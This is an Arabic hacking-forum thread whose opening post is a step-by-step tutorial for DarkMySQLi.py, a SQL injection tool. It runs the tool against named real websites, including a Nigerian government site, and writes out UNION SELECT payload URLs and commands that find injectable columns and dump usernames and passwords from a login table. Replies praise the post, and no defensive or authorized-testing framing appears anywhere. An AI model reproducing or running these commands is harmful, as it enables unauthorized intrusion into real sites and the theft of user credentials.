1. AsSad HOmS

    AsSad HOmS V • I • P

    الأنتساب:
    ‏15 مارس 2014
    المشاركات:
    39
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    المخالفات
    3
    بسم الله الرحمن الرحيم




    الحمد الله رب العالمين الذي هدنا إلى صراط المستقيم




    اليوم معنا اداة ((DarkMySQLi.py)) تشبه عمل اداة Sqlmap في حقن قواعد البيانات




    خلينا نشوف معنا هادا الموقع




    كود:
    http://www.nbrri.gov.ng/sites/news.php?ID=31’a



    [​IMG]




    هادا الخطأ




    راح نحقن الموقع لازم نثبت البايثون على الويندوز أو تشغيل الاداة على لينكس




    كود:
    python DarkMySQLi.py -u "رابط الموقع المصاب " --findcol
    



    تمام لهون




    كود:
    DarkMySQLi.py -u http://www.nbrri.gov.ng/sites/news.php?ID=31 --findcol



    [​IMG]




    متل ماشايفين بدل مكان لاعمدة بكلمة ((darkc0de))




    ==========================================
    استخراج الجدوال والاعمدة




    كود:
    DarkMySQLi.py -u "هنا نضع الرابط الذي حصلنا عليه قبل قليل" --full



    كود:
    DarkMySQLi.py -u http://www.davidally.com/usosa/page.php?id=74+AND+1=2+UNION+SELECT+1,darkc0de,3,4,5,6,7,8,darkc0de,10,11,12,13,14-- --full



    [​IMG]




    تمام أستخرج معلومات الجدوال طلع معنا جدوال اليوزر والباس login




    كود:
    DarkMySQLi.py -u http://www.nbrri.gov.ng/sites/news.php?ID=31+AND+1=2+UNION+SELECT+1,darkc0de,3,darkc0de,darkc0de,6,7,8,9,10,11 --dump -D nbrrigov_123 -T userlogin -C username,password



    D ==> Database
    T ==> الجدوال
    C ==> العامود اليوزر والباس




    [​IMG]




    في امان الله












    التحميل من هنا​
     
  2. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    بارك الله حبيبي واصل [​IMG]
     
  3. One MaN

    One MaN Developer

    الأنتساب:
    ‏22 أغسطس 2012
    المشاركات:
    86
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    PaLsTiNe - GaZa
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود كبير
    بارك الله فيك اخي
     
  4. Y-WaLiS

    Y-WaLiS Developer

    الأنتساب:
    ‏8 يوليو 2012
    المشاركات:
    30
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    nador
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود كبير


    بارك الله فيك اخي
     
  5. slaizer

    slaizer مشرف أختبار الأختراق V • I • P

    الأنتساب:
    ‏29 يوليو 2014
    المشاركات:
    607
    الإعجابات المتلقاة:
    551
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود رائع واداه رائعه [​IMG][​IMG][​IMG]
     

مشاركة هذه الصفحة